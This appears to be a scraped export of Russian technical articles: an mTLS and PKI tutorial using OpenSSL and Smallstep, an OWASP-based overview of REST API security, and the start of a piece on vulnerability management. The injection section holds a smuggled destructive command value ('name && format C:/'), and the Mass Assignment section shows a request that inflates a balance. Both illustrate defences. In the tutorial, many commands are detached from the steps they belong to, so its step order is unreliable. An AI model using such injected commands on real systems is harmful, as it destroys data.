openssl x509 -in root_ca.crt -out root_ca.pem -outform PEM /etc/pki/ca-trust/source/anchors update-ca-trust curl https://server.example.com:9443
Hello, world!
curl --ssl-no-revoke https://server.example.com:9443 req.client.authorized: false
Это значит, что мы установили TLS соединение только с проверкой сертификата сервера, а не клиента. Переходим к mTLS.

Реализация mTLS

В коде сервера включаем mTLS, а именно выставляем в true параметр requestCert, чтобы HTTPS сервер запрашивал клиентский сертификат и параметр rejectUnauthorized, чтобы сервер отклонял запросы клиентов, которые не прошли авторизацию:

{ requestCert: true, rejectUnauthorized: true, }

Алгоритм генерации клиентских сертификатов аналогичен серверным.
openssl genrsa -out client.key 2048 openssl req -new -key client.key -subj "/CN=xx.xx.xx.xx/CN=client/CN=client.example.com" -out client.csr openssl x509 -req -in client.csr -CA root_ca.crt -CAkey root_ca.key -CAcreateserial -out client.crt -days 365 -extensions SAN -extfile openssl.cnf
Файл openssl.cnf - такой же как и для сервера, только вместо "server" пишем "client".
curl https://server.example.com:9443 curl: (35) error:14094410:SSL routines:ssl3_read_bytes:sslv3 alert handshake failure curl --cert ./client.crt --key client.key --cacert root_ca.crt https://server.example.com:9443

req.client.authorized: true

Это значит, что мы установили mTLS соединение с проверкой сертификата как сервера, так и клиента. Теперь установим mTLS из браузера.

Реализация mTLS в браузере

Если просто запустить наш запрос к серверу ( https://server.example.com:9443) из браузера, то выдается ошибка клиентского сертификата ERR_BAD_SSL_CLIENT_AUTH_CERT. Рабочие адреса закрасил желтым:
openssl pkcs12 -inkey client.key -in client.crt -export -out client.p12
Для загрузки в браузер клиентский сертификат и приватный ключ надо сконвертировать в формат p12. Этот формат определяется стандартом PKCS #12 и является архивом для хранения нескольких объектов. В нашем случае файл будет хранить клиентский сертификат и его приватный ключ. Понятно, что приватный ключ - это чувствительная к разглашению информация и ее владелец не должен выкладывать p12 сертификат в открытый доступ. Для конвертации тоже используем OpenSSL:

Импортируем client.p12 в браузер. Для этого, например в Chrome, идем в меню: Settings / Privacy and security / Manage certificates, в открывшемся окне нажимаем Import, выбираем наш файл client.p12 и место хранения "Personal". Видим, что клиентский сертификат, выданный нашим удостоверяющим центром "My CN", появился в хранилище персональных сертификатов:

Вызываем запрос заново, уже лучше, но браузер все равно пишет, что соединение не безопасно. Это из-за того, что клиентский сертификат выдан удостоверяющим центром "My CN", которого нет в списке доверительных CA (Trusted Root Certification Authorities).

Добавляем корневой сертификат нашего CA (root_ca.crt) в Trusted Root Certification Authorities. Делается с помощью того же вызова Import, что и для клиентского сертификата, но хранилище указываем Trusted Root Certification Authorities. Проверяем, что наш CA "My CN" появился в хранилище:

Повторяем наш запрос ( https://server.example.com:9443). При первом запросе браузер находит подходящий клиентский сертификат и просит явно подтвердить его использование:

Дальнейшие вызовы проходят без запросов на подтверждение клиентского сертификата:

Если щелкнуть на замочке а адресной строке, то можно посмотреть сертификат сервера и убедиться, что мы взаимодействуем с правильным сервером (Issued to: server.example.com), сертификат которому выдан нашим удостоверяющим центром (Issued by: My CN) и время действия сертификата еще не прошло (Valid to: 31.05.2023):

Таким образом мы организовали mTLS соединение из браузера. Далее приведу для справки несколько дополнительных возможностей OpenSSL, которые могут пригодиться в процессе работы.

Дополнительные возможности OpenSSL
openssl x509 -outform der -in client.crt -out client.der openssl x509 -inform der -in client.cer -out client.pem
Конвертация форматов сертификатов
openssl verify -verbose -x509_strict -CAfile root_ca.pem server.crt openssl s_server -accept 9443 -cert server.crt -key server.key
Отладка с помощью OpenSSL

openssl s_client -connect xx.xx.xx.xx:9443 -prexit -showcerts -state -status -tlsextdebug -verify 10

Практика CA Smallstep

Установка Smallstep и CLI step
sudo yum -y update sudo yum install -y yum-utils sudo yum-config-manager --add-repo https://download.docker.com/linux/centos/docker-ce.repo sudo yum -y install docker-ce sudo systemctl start docker sudo docker run hello-world sudo docker pull smallstep/step-ca docker run -it -v step:/home/step smallstep/step-ca step ca init
CA Smallstep - это open source CA, который можно развернуть локально для автоматического получения X.509 сертификатов. На официальном сайте есть ряд инструкций по его установке и настройке. Для экспериментов я использовал вариант с docker:

При создании CA в консоль будет выведен fingerprint корневого сертификата в виде шестнадцатеричной строки (например: 55de8dc05cd...8a70f725a56). Ее надо сохранить для последующей инициализации утилиты CLI step, которая используется для взаимодействия с CA Smallstep. Проверяем, что CA Smallstep запущен корректно. xx.xx.xx.xx:9000 - это IP и порт, на котором запущен Smallstep CA:

curl https://xx.xx.xx.xx:9000/health

должна вернуться строка:
tar -xf step_linux_0.19.0_386.tar.gz

Регистрируем CLI step для использования с нашим CA. Этот процесс называется "bootstrap". Значение параметра "ca-url" - это IP и порт, на котором запущен Smallstep CA, "fingerprint " - это сохраненное значение при инициализации CA:

step ca bootstrap --ca-url https://xx.xx.xx.xx:9000 --fingerprint 55de8dc05cd...8a70f725a56 --install step ca health
На этом же или другом компьютере по инструкции устанавливаем утилиту CLI step. Краткая выжимка:

должна вернуться строка:

Все готово для генерации ключей и сертификатов.

Генерация ключей и сертификатов

В отличии от OpenSSL, CA Smallstep может одновременно сформировать приватный ключ сервера 2048-бит RSA (server.key) и запрос на сертификат (server.csr). В запросе явно указываем, что пароль должен быть пустой (no-password), xx.xx.xx.xx - это IP адрес сервера, для которого генерируется запрос:

step certificate create --csr --no-password --insecure --kty=RSA --size=2048 "xx.xx.xx.xx" server.csr server.key step ca sign server.csr server.crt step certificate inspect server.crt step ca root root_ca.crt step certificate inspect root_ca.crt node server.js curl https://xx.xx.xx.xx:9443 Hello, world!
Также как и в случае с OpenSSL, сначала генерируем ключ и сертификат для сервера и установки TLS соединения, потом для клиента и установки mTLS.

Аналогично серверу одновременно формируем приватный ключ клиента 2048-бит RSA (client.key) и запрос на сертификат (client.csr). Явно указываем, что пароль должен быть пустой (no-password), xx.xx.xx.xx - это IP адрес клиента, для которого генерируется запрос:

step certificate create --csr --no-password --insecure --kty=RSA --size=2048 "xx.xx.xx.xx" client.csr client.key step ca sign client.csr client.crt step certificate inspect client.crt step ca root root_ca.crt step certificate inspect root_ca.crt curl --cert ./client.crt --key client.key --cacert root_ca.crt https://xx.xx.xx.xx:9443 Hello, world!
Все нормально, теперь генерируем ключ и сертификат для клиента.

Отлично - mTLS тоже работает с выданными CA Smallstep сертификатами!

Дополнительные возможности CA Smallstep
step certificate needs-renewal server.crt certificate does not need renewal step ca renew server.crt server.key step ca revoke --cert server.crt --key server.key step certificate inspect server.crt --bundle STEPDEBUG=1 step /команда/
С помощью CLI step можно проверить необходимость обновления сертификата:

Заключение

В данной статье мы рассмотрели две возможности генерации ключей и сертификатов для клиента и сервера:

И двумя способами установили TLS и mTLS соединения:

Теперь у нас есть понимание, как организовать свою систему PKI с помощью CA любого производителя, т.к. логика взаимодействия у всех аналогичная. Более того, большинство CA используют под капотом OpenSSL, оборачивая его в свой API.

# data[].attributes.attachment_link.title
Сам себе PKI: Практика на примере OpenSSL и CA Smallstep. (Статья 2)

# data[].attributes.attachment_link.description
Начнем с классики криптографии OpenSSL. Сейчас широко используется версия 1.1.1, но ее поддержка заканчивается в 2023. Следующая версия 3.0 будет поддерживаться до 2026 года. Проверка установленной версии: openssl version OpenSSL 1.1.1k FIPS 25 Mar 2021 Если OpenSSL не установлен, то его можно установить на всех востребованных платформах.

# data[].attributes.attachment_link.readable_text
Введение

Умение реализовать грамотное REST API - полезный навык в наше время, т.к. все больше сервисов предоставляют свои возможности с помощью API. Но разработка REST API не ограничивается реализацией HTTP запросов в определенном стиле и формированием ответов в соответствии со спецификацией. Задача обеспечения безопасности REST API не так очевидна, как, например, обеспечение безопасности баз данных, но ее необходимость не менее важна.
В настоящее время многие онлайн системы с помощью API передают приватные данные пользователей, такие как медицинские или финансовые. Текущая же ситуация с безопасностью в веб-приложениях весьма печальна: по данным Comnews порядка 70% содержат критические уязвимости. Поэтому всем, кто участвует в проектировании, реализации и тестировании онлайн систем, важно иметь общую картину по существующим угрозам и способам обеспечения безопасности как всей системы, так и используемого REST API.

В статье я попытался обобщить информацию о существующих уязвимостях REST API, чтобы у читателей сложилась общая картина. На схемах представлена современная архитектура клиент-сервер и обобщенный REST API запрос с потенциальными угрозами безопасности. Далее я подробнее расскажу об этих угрозах, и как технически реализовать защиту от них.

Стандарты безопасности

Начнем со стандартов. Существует несколько стандартов, которые помогут нам сформулировать список требований к безопасности API:

OWASP (Open Web Application Security Project) известна своими списками рисков в разных программных технологиях. Нам интересен список "10 наиболее опасных уязвимостей при разработке API":

API1:2019 Broken Object Level Authorization (Недостатки контроля доступа к объектам). Другое название этого риска: Insecure Direct Object References (Небезопасные прямые ссылки на объекты)

API2:2019 Broken User Authentication (Недостатки аутентификации пользователей)

API3:2019 Excessive Data Exposure (Разглашение конфиденциальных данных)

API4:2019 Lack of Resources & Rate Limiting (Отсутствие проверок и ограничений)

API5:2019 Broken Function Level Authorization (Недостатки контроля доступа на функциональном уровне)

API6:2019 Mass Assignment (Небезопасная десериализация)

API7:2019 Security Misconfiguration (Некорректная настройка параметров безопасности)

API8:2019 Injection (Внедрение)

API9:2019 Improper Assets Management (Недостатки управления API)

API10:2019 Insufficient Logging & Monitoring (Недостатки журналирования и мониторинга)

Добавлю пункты, которые не вошли в Top10, но относятся к нашей теме:

А также уязвимости из списка другой организации Common Weakness Enumeration (CWE): CWE Top 25 Most Dangerous Software Errors:

CWE-79 Cross-site Scripting (XSS) (Межсайтовое выполнение сценариев)

CWE-352 Cross-Site Request Forgery (CSRF) (Межсайтовая подмена запросов)

И несколько пунктов из других найденных списков:

Insecure Cookies and Local Storage (Небезопасные Cookies и Local Storage)

Insecure HTTP Headers (Небезопасные HTTP заголовки)

Improper Cross-origin resource sharing (Неправильное использование CORS)

Clickjacking (Подмена кликов)

В результате получился список, который, на мой взгляд, достаточно полно отражает современные проблемы безопасности API. Для проверки того, что список получился общим и применимым для всех технологий я использовал рекомендации по безопасности API, найденные на просторах Интернета (ссылки приведены в конце статьи). Далее рассмотрим все перечисленные пункты.
API2:2019 - Broken User Authentication (Недостатки аутентификации пользователей)

Тема аутентификации пользователей идет на втором месте в списке OWASP, но я ее поставил на первое, т.к. с этого все начинается. Современные стандарты аутентификации и авторизации я уже рассматривал в своей статье про OAuth 2.0, OpenID Connect, WebAuthn. Здесь кратко опишу основные схемы безопасности и рассмотрим более подробно наиболее надежную на данный момент схему, основанную на токенах.

API key

API Key - это строка символов, которую передает клиент в запросах к серверу. Для успешной аутентификации строка должна совпадать у клиента и у сервера. Данная схема обеспечивает защиту от несанкционированного использования API и позволяет осуществлять, например, проверку лимитов использования API.

Basic Authentication

В Basic Authentication используется аутентификация по двум строкам, например логину/паролю.

Для передачи информации используется HTTP заголовок 'Authorization' с ключевым словом Basic далее пробел и base64 закодированная строка username:password. Например:

Authorization: "Basic dXNlcm5hbWU6cGFzc3dvcmQ="

Cookie-Based Authentication

Cookie-Based Authentication использует механизм передачи Cookies в HTTP запросах. В ответ на запрос клиента сервер посылает заголовок Set-Cookie, который содержит имя и значение cookie, а также дополнительные атрибуты: expires, domain, path, secure, httponly. Пример отправки cookie:

Authorization: Set-Cookie: JSESSIONID=123456789; Path=/; HttpOnly

После этого клиент автоматически будет посылать заголовок Cookie при каждом запросе:

Cookie: JSESSIONID=123456789

Для реализации этого механизма необходимо на сервере организовать хранение и проверку сессий пользователей. Подробнее использование Cookies рассмотрено в разделе "Insecure Cookies and Local Storage"

Token-Based Authentication

Также называют Bearer Authentication.

Token-Based Authentication использует подписанный сервером токен (bearer token), который клиент передает на сервер в заголовке Authorization HTTP с ключевым словом Bearer или в теле запроса. Например:

Authorization: Bearer eyJhbGciOiJSUzI1NiIsImtpZCI6IjI4Y

При получении токена сервер должен проверять его на валидность - что пользователь существует, время использования не прошло и т.д. Token-Based Authentication может использоваться как часть OAuth 2.0 или OpenID Connect протоколов, так и сервер сам может сформировать токен.

При любом способе аутентификации для безопасного использования должен использоваться протокол, который обеспечивает шифрование данных, HTTP заголовков и URL, например HTTPS.

Алгоритм Token-Based Authentication

Разберем подробнее последнюю из описанных схем. На схеме представлен упрощенный алгоритм Token-Based Authentication на примере реализации возможности "Зайти с помощью Google аккаунта"

1. Пользователь заходит на сайт и нажимает кнопку "Зайти с помощью Google аккаунта"

2. Сервер посылает запрос на Google.

3. Google показывает пользователю свою форму логина.

4. Пользователь вводит логин/пароль.

5. Google проверяет логин/пароль и отправляет на наш сервер приложений access token и refresh token.

6. Для аутентификации сервер расшифровывает token или получает информацию о пользователе по Google API.

7. Далее сервер находит пользователя в своей базе, сообщает об успешной аутентификации и сохраняет токены в локальном хранилище пользователя для реализации возможности "Запомнить меня на этом устройстве". В каком конкретно: Local Storage, Session Storage или Cookies, решается в зависимости от требований бизнеса и безопасности. OWASP склоняется к Cookies с реализацией дополнительных механизмов безопасности: JSON Web Token Cheat Sheet. Нужно ли генерировать дополнительный "session token", где его хранить и как использовать - также должно определяться бизнесом, для которого реализуется система.

8. После этого при каждом запросе к серверу клиент будет передавать access token в запросе, а наш сервер проверять его на валидность в Google и только после этого передавать запрошенные данные.

9. При окончании срока действия access токена сервер использует refresh токен для получения нового.

Какие плюсы Token-Based Authentication для сервера приложений:

1. Не надо хранить пароли в базе данных на сервере, таким образом сразу избавляемся от уязвимости Insecure Passwords.

2. В некоторых случаях можно вообще избавиться от базы данных на сервере и получать всю необходимую информацию из Google или других систем.

3. Нет проблем с безопасностью, характерных для остальных методов:

При компрометации логина/пароля доступ к данным получается сразу и длится пока пользователь сам не заметит факт взлома, у токенов же есть время жизни, которое может быть небольшим.

Токен автоматически не уйдет на сторонний сайт, как Cookie.

Cookie-Based Authentication подвержена атаке Cross-Site Request Forgeries (CSRF) и, соответственно, необходимо использовать дополнительные механизмы защиты.

Можно не хранить сессию пользователя на сервере, а токен проверять каждый раз в Google.

Минус видится один:
В случае перехвата токена, злоумышленник может какое-то время выдавать себя за владельца токена. Поэтому для передачи токена надо обязательно использовать HTTPS.

API1:2019 Broken Object Level Authorization (Недостатки контроля доступа к объектам)

Другое название этого риска: Insecure Direct Object References (Небезопасные прямые ссылки на объекты). Это самая распространенная проблема с API в настоящее время. Для иллюстрации приведу API, которое в дальнейшем использую еще для нескольких примеров уязвимостей.

Получить одного пользователя с userID:

GET /users/{userID}

Получить всех пользователей (может только администратор):

Удалить пользователя c userID: DELETE /users/{userID}

DELETE /users/1

Итак, если вызывается команда удаления пользователя:

DELETE /users/1

То необходима проверка, что эту команду может вызвать только сам пользователь 1 или администратор, а не, например, пользователь 2 от своего имени, просто изменив значение ID в вызове команды. Чтобы избежать подобных проблем нужно:

Проверять права доступа к объектам при каждом запросе.

Проверять, что залогиненный пользователь имеет доступ только к разрешенным объектам.

ID объектов должны быть сложными для подбора, например в виде UUID, а не простая последовательность 1, 2, 3.

OWASP рекомендует ( Access Control Cheat Sheet) следующие модели обеспечения контроля доступа:

Role-Based Access Control (RBAC)

Discretionary Access Control (DAC)

Mandatory Access Control (MAC)

Permission Based Access Control

API5:2019 Broken Function Level Authorization (Недостатки контроля доступа на функциональном уровне)

Должна быть разработана четкая система разграничения доступа между ролями пользователей API. Например, есть роль: обычные пользователи и роль: администраторы. Команду по просмотру всех пользователей может вызвать только администратор:

GET /users/all

При каждом вызове команды необходима проверка прав доступа, чтобы обычный пользователь не мог вызвать команду, только изменив формат.

API3:2019 Excessive Data Exposure (Разглашение конфиденциальных данных)

На самом деле пункт называется - предоставление излишних данных, но при этом как раз и может происходить разглашение конфиденциальных или персональных данных. Как такое получается? На запрос клиента сервер, как правило, формирует запрос к базе данных, которая возвращает запись или список записей. Эти данные зачастую сериализируются в JSON без проверок и отправляется клиенту с предположением, что клиент сам отфильтрует нужные данные. Но проблема в том, что запрос может отправить не только клиент, а может сформировать злоумышленник напрямую к серверу и получить конфиденциальные данные. Например, безобидный запрос данных по пользователю с ID 1:

может вернуть не только имя / возраст, но и ответ на секретный вопрос, который пользователь задал во время регистрации:

{"userName":"Alex","age":25,"secretAnswer":"HelloWorld"}

Это и называется излишняя передача данных. Проблема усугубляется тем, что лишних данных может быть еще и просто много по объёму. При больших нагрузках это приведет к сетевым проблемам. Соответственно, при разработке API нельзя полагаться на фильтрацию данных в клиенте - все данные должны фильтроваться на сервере.

API6:2019 Mass Assignment (Небезопасная десериализация)

В данном случае ситуация обратная предыдущему пункту Excessive Data Exposure - лишние данные передаются на сервер с целью несанкционированной замены значений. Как это понимать? Предположим у нас есть пользователь-хакер с ID 1 со следующими данными:

{"userName":"Alex","age":25,"balance":"150"}

Некоторые поля записей пользователь может легитимно менять сам, например, свой возраст. А поля, такие как balance должны устанавливать внешние системы.

Но наш сервер подвержен атаке Mass Assignment и без проверок источника записывает все пришедшие данные. Наш пользователь-хакер может отправить на сервер запрос на изменение возраста, в который добавляет дополнительный атрибут balance:

POST /users/1

{"userName":"Alex","age":26,"balance":"1000000"}

После этого баланс увеличится без внесения реальных денег. Чтобы предотвратить данную атаку необходимо:

Не допускать автоматическую десериализацию пришедших данных.

Ограничить список атрибутов, которые может менять пользователь.

API4:2019 Lack of Resources & Rate Limiting (Отсутствие проверок и ограничений)

Необходимо защитить сервер от атак по подбору пароля (brute force attack). Для этого нужно реализовать следующие ограничения:

Ограничить число неудачных попыток авторизации одного пользователя. Как вариант использовать reCapture или аналогичный механизм.

Блокировать IP, если число неудачных попыток с него превысило определенное значение по всем пользователям.

Для JS существуют средства, позволяющие делать такие проверки автоматически (например, Rate limiter) и сразу посылать ответ "429 Too Many Requests", не нагружая сервер.
Необходимо защитить сервер и от отказа в обслуживании (DoS-атаки)

Ограничить число запросов от одного пользователя или по одному ресурсу в течении определенного времени.

Также атаки по отказу в обслуживании могут основываться на передаче заведомо больших значений.

Например, сервер ожидает в параметре size число записей:
/api/users?page=1&size=100

Если на сервере отсутствует проверка size на максимальное значение, то передача в параметре злоумышленником, например, 1 000 000 может привести к исчерпанию памяти на сервере и отказу в обслуживании. Поэтому нужно проверять на сервере все значения параметров на допустимые, даже если на нашем клиенте есть такие проверки. Ведь никто не помешает вызвать API напрямую.

API7:2019 Security Misconfiguration (Некорректная настройка параметров безопасности)

Следующие действия могут привести к проблемам с безопасностью, соответственно, их надо избегать:

Используются дефолтные настройки приложений, которые могут быть небезопасны.

Используются открытые хранилища данных.

В OpenSourсe попала закрытая информация, например, конфигурация системы или параметры доступа.

Неправильно используются регулярные выражения, что позволяет провести атаку ReDoS (Regular expression Denial of Service)

Неправильно сконфигурированы HTTP заголовки (данная тема рассмотрена далее в разделе "Insecure HTTP Headers").

Аутентификационные данные (логин/пароль, токен, apiKey) посылаются в URL. Это небезопасно, т.к. параметры из URL могут оставаться в логах веб серверов.

Отсутствует или неправильно используется политика Cross-Origin Resource Sharing (CORS) (данная политика рассмотрена далее в одноимённом разделе).

Не используется HTTPS (использование HTTPS рассмотрено в разделе "Insecure Transport").

При эксплуатации промышленной системы используются настройки, предназначенные для разработки и отладки.

Сообщения об ошибках содержат чувствительную информацию, например, трейсы стека.

Также необходимо уделять внимание конфигурации облачных сервисов:

Для пользователей устанавливать только необходимые права доступа.

Открывать только необходимые сетевые порты.

Устанавливать безопасные версии патчей OS и приложений (подробно рекомендации рассмотрены в разделе "Using Components with Known Vulnerabilities").

API8:2019 Injection (Внедрение)

Внедрение - это выполнение программного кода, не предусмотренного системой. Разделяют внедрения:

Атака будет успешна, если сервер выполняет полученные команды без проверки. Чем-то напоминает "небезопасную десериализацию", только используются не дополнительные атрибуты, а SQL код или команды OS. В результате SQL инъекции можно получить несанкционированный доступ к данным. С помощью инъекции команд OS можно получить доступ к серверу или вывести его из строя. Например, в строке ввода пользователь ввел имя каталога "name" и на сервер посылается команда:

Если сервер выполняет команды без проверки, то злоумышленник может послать следующую команду с большой вероятностью вывода сервера из строя:

{"mkdir":"name && format C:/"}

Для предотвращения подобных атак:

Нельзя подавать введенные данные напрямую в команды.

Если без этого никак, то необходимо делать все возможные проверки, очистку, фильтрацию и валидацию данных.

API9:2019 Improper Assets Management (Недостатки управления API)

API может иметь несколько точек входа (endpoints) с разными версиями и функциональными назначениями. Например:

http://localhost:5000/myAPI/v1

http://localhost:5000/myAPI/v2

http://localhost:5000/myTestAPI/v1

Необходимо обеспечить учет и контроль версий API:

Нужно вести список имеющихся API, их версий, назначение (production, test, development) и кто имеет к ним доступ (public, internal, partners).

Необходимо управлять жизненным циклом API и своевременно запускать новые версии, снимать с поддержки старые.

В открытом доступ выставлять только актуальные версии API.

Не оставлять в открытом доступе endpoints, предназначенные для отладки.

Если не обеспечить подобный контроль, то возможно использование API в непредусмотренных целях. Например, злоумышленник обнаружит рабочий endpoint с версией API, которая имела уязвимости в безопасности, но была оставлена на время перехода на новую безопасную версию, но так и осталась в эксплуатации.
API10:2019 Insufficient Logging & Monitoring (Недостатки журналирования и мониторинга)

Чтобы выявить атаку или подозрительное поведение пользователей, систему надо мониторить, а события логировать с достаточным уровнем подробности:

Логировать все неудачные попытки аутентификации, отказы в доступе, ошибки валидации входных данных.

Обеспечить целостность логов, чтобы предотвратить возможность их подделки.

Мониторить надо не только приложения и вызовы API, но и инфраструктуру, сетевую активность, загрузку OS.

Необходимо обеспечить не только мониторинг, но и оперативное оповещение о нарушениях штатной работы системы.

Общие советы по мониторингу можно посмотреть в статье Monitoring Done Right

Insecure Transport (Небезопасный транспортный уровень)

Если не шифровать трафик между клиентом и сервером, то все HTTP данные и заголовки будут передаваться в открытом виде. Чтобы предотвратить утечку данных, надо использовать протокол HTTPS (Hyper Text Transfer Protocol Secure) или реализовывать шифрование самостоятельно. Для использования HTTPS нужен SSL-сертификат. Сайты в интернете должны получать такие сертификаты в доверительных центрах выдачи сертификатов CA (Certificate Authority). Но для целей шифрования данных между нашим клиентом и сервером можно поступить проще:

Самостоятельно сгенерировать, так называемый, self-signed сертификат.

На сервере настроить использование HTTPS протокола.

С клиента формировать запросы, начинающиеся с https.

Браузер, конечно, будет ругаться, что сертификат сервера подписан не известно кем, но мы-то можем сами себе доверять).
Обеспечить поддержку HTTPS можно также средствами Apache, Nginx или других веб-серверов.

Insecure Passwords (Небезопасные пароли)

С этой темой все просто:

Пароли пользователей должны быть достаточно сложными и длинными. В настоящее время не существует единых требований к паролям, все определяется бизнесом.

На сервере нельзя хранить пароли пользователей в открытом виде.

На сервере храним только хеши паролей, вычисленные надежным алгоритмом, например, Argon2.

Insecure Cookies and Local Storage (Небезопасные Cookies и данные в Local Storage)

Cookies должны использоваться безопасно:

Нельзя использовать дефолтные имена.

При создании Cookies следует устанавливать следующие опции:

 secure - браузер будет отправлять cookies только по HTTPS протоколу. httpOnly - браузер будет отправлять cookies только по HTTP или HTTPS и не отправлять при запросах из JavaScript, что предотвратит атаки Cross-site Scripting (XSS). domain - определяет domain cookie. path - определяет path cookie. expires - определяет дату устаревания cookies. SameSite - браузер будет отправлять cookies только тому сайту, который их установил.

Европейские сайты должны явно спрашивать разрешение у пользователя о применении Cookies. Так как, например, если в Cookies записать последовательность действий пользователя на сайте, то это уже считается персональной информацией.

Общие правила безопасности для Cookies и Local Storage:

Нельзя хранить важную информацию с сервера, т.к. она доступна пользователю.

Нельзя хранить персональную информацию пользователя, т.к. она может стать доступна другим пользователям компьютера.

Соответственно, можно хранить только зашифрованные данные или служебную информацию.

Using Components with Known Vulnerabilities (Использование компонент с известными уязвимостями)

Компоненты, такие как библиотеки и framework-и выполняются с теми же привилегиями, что и приложение. Поэтому если среди используемых библиотек окажется небезопасный компонент, то это может привести к захвату или выводу из строя сервера. Для проверки безопасности компонент используются специальные приложения, например, для JavaScript можно использовать Retire.

CWE-79 Cross-site Scripting (XSS) (Межсайтовое выполнение скриптов)

Межсайтовое выполнение скриптов считается самой опасной web-атакой. Суть ее в том, что вредоносный скрипт может быть внедрен в нашу страницу, а результат выполнения может привести к утечке конфиденциальных данных или к повреждению сервера. Чтобы защититься от атаки в запрос надо включить HTTP заголовок, который включает Cross-site scripting (XSS) фильтр:

X-XSS-Protection : 1; mode=block

Content-Security-Policy: script-src 'self'

CWE-352 Cross-Site Request Forgery (CSRF) (Межсайтовая подмена запросов)

Для понимания сути атаки приведу пример: предположим, есть финансовая организация с онлайн кабинетом. В Cookies запоминается пользователь, чтобы при входе ему не надо было каждый раз вводить свой логин/пароль. Пользователь случайно заходит на сайт злоумышленника, который отправляет в финансовую организацию транзакцию на перевод денег, в которую браузер автоматически помещает данные из запомненных Cookies.

Финансовый сайт успешно проверяет валидность Cookies и выполняет несанкционированную транзакцию. Для защиты от атак CSRF надо:

На сервере реализовать механизм "CSRF токенов". Это такой механизм, когда для каждой сессии пользователя генерируется новый токен и сервер проверяет его валидность при любых запросах с клиента.

На сервере проверять заголовки Origin и Referer, в которых содержится адрес источника запроса. Но эти заголовки могут отсутствовать.

Также можно всегда требовать от пользователя подтверждать критические действия вводом пароля или вторым фактором аутентификации, но возможность таких мер зависит от бизнеса.

При создании Cookies выставлять параметр SameSite, но этот механизм поддерживают не все браузеры.

Cross-origin resource sharing (CORS) (Кросс-доменное использование ресурсов)

CORS - это механизм безопасности, который позволяет серверу задать правила доступа к его API. Например, если на сервере установить заголовок:

Access-Control-Allow-Origin: *

то это позволит использовать API без ограничения. Если это не публичное API, то для безопасности надо явно устанавливать Origin-ы, с которых разрешен доступ к API, например:

Access-Control-Allow-Origin: https://example.com:8080

Также можно ограничивать HTTP методы, которые могут быть использованы для доступа к API:

Access-Control-Allow-Methods: GET, POST, DELETE, PUT

И задать список заголовков, которые сервер может принимать:

Access-Control-Allow-Headers: Origin, Content-Type, Authorization

Insecure HTTP Headers (Безопасность HTTP заголовков)

HTTP протокол включает в себя большое число заголовков, которые можно использовать в HTTP запросах/ответах. Для того, чтобы определить наиболее важные заголовки с точки зрения обеспечения безопасности, я использовал несколько списков:

Далее рассмотрим основные заголовки:

X-Powered-By

Этот заголовок автоматически вставляется некоторыми серверами, что дает понять злоумышленнику, с каким сервером он имеет дело, например:

X-Powered-By: Express

Отсутствие этого заголовка, конечно, никого не остановит, но сразу давать такую подсказку не стоит. Поэтому передачу этого заголовка надо запретить.

HTTP Strict Transport Security (HSTS)

Strict-Transport-Security заголовок запрещает браузеру обращаться к ресурсам по HTTP протоколу, только HTTPS:

Strict-Transport-Security: max-age=31536000

max-age=31536000 - это год в секундах. Рекомендуется выcтавлять этот заголовок, т.к. он предотвратит атаки, связанные с принуждением браузера перейти на HTTP протокол и начать передавать информацию (например cookies) в открытом виде, которую может перехватить злоумышленник. Запрос к серверу по HTTP и атака возможна только при первом обращении к серверу, при последующих браузер запомнит настройку Strict-Transport-Security и будет обращаться только по HTTPS.

X-Frame-Options (защита от Clickjacking)

Позволяет защититься от атаки Clickjacking. Так называется технология, когда злоумышленник помещает кнопку или поле ввода в прозрачный фрейм и пользователь думает, что он нажимает нужную кнопку или безопасно вводит данные, а на самом деле идет перенаправление на другой ресурс, полезный атакующему, например, на сайт с навязчивой рекламой. Для защиты от Clickjacking сервер должен посылать запрет использовать страницу во фрейме вообще:

X-Frame-Options: deny

или разрешить использование только в нашем домене:

X-Frame-Options: sameorigin

А лучше для предотвращения атаки Clickjacking использовать более современный механизм и установить правильную политику безопасности Content-Security-Policy

Content-Security-Policy

Позволяет защититься от атаки Cross-site scripting и других кросс-сайтовых инъекций, в том числе Clickjacking. Требует вдумчивого конфигурирования, т.к. параметров много. Но надо хотя бы поставить дефолтную политику, что предотвратит возможность атаки Cross-site Scripting:

Content-Security-Policy: default-src 'self'

Подробно значения заголовка Content-Security-Policy разбираются, например, по ссылке.

X-Content-Type-Options

Установка данного заголовка запрещает браузеру самому интерпретировать тип присланных файлов и принуждает использовать только тот, что был прислан в заголовке Content-Type. Без этого возможна ситуация, когда, например, посылается безобидный на вид txt файл, внутри которого вредоносный скрипт и браузер его выполняет как скрипт, а не как текстовой файл. Поэтому устанавливаем:

X-Content-Type-Options: nosniff

Cache-Control

Cache-Control позволяет управлять кешом на стороне клиента, рекомендуется запретить кеширование, чтобы в кеше случайно не оставались приватные данные:

Cache-Control: no-store

Заключение

В статье мы рассмотрели угрозы, которые подстерегают API при его эксплуатации и способы борьбы с ними. В заключении приведу несколько общих выводов:

Нужно держать круговую оборону и защищаться со всех сторон. Как ни банально звучит, но безопасность системы определяется самым слабым звеном. И если мы забыли защитить даже незначительную часть, последствия могут быть весьма печальными.

Разработчик API должен не только уметь программировать, но и разбираться в безопасности систем и приложений. Или в команде должен быть сотрудник, отвечающий за безопасность.

Нужно следить за актуальным положением дел с безопасностью, т.к. даже относительно свежая информация может быстро устареть, и система окажется неработоспособной или беззащитной перед атаками.

Ссылки на использованные списки:

It's only the beginning!

# data[].attributes.attachment_link.title
Безопасность REST API от А до ПИ

# data[].attributes.attachment_link.description
Умение реализовать грамотное REST API - полезный навык в наше время, т.к. все больше сервисов предоставляют свои возможности с помощью API. Но разработка REST API не ограничивается реализацией HTTP запросов в определенном стиле и формированием ответов в соответствии со спецификацией. Задача обеспечения безопасности REST API не так очевидна, как, например, обеспечение безопасности баз данных, но ее необходимость не менее важна.

# data[].attributes.attachment_link.readable_text
Если Вы знакомы с процессом управления уязвимостями, то в данной статье вряд ли найдете новые подходы или методики. Всем остальным приятного чтения.

Организуют и поддерживают функционирование процесса VM обычно специалисты по информационной безопасности. В связи с этим на них возлагается определенный круг задач. В статье я описал свое видение как организовать процесс и сделать так, чтобы всё работало.

Также в рамках данной статьи я раскрою основные мероприятия на каждом этапе процесса управления уязвимостями, приведу примеры и типовые ошибки построение процесса VM.

Управление уязвимостями (vulnerability management, VM) - непрерывный, циклический процесс выявления и устранения уязвимостей в инфраструктуре организации и состоит из следующих этапов:

Этапы управления уязвимостями

Теперь перейдем к рассмотрению каждого из этапов VM.

Инвентаризация.

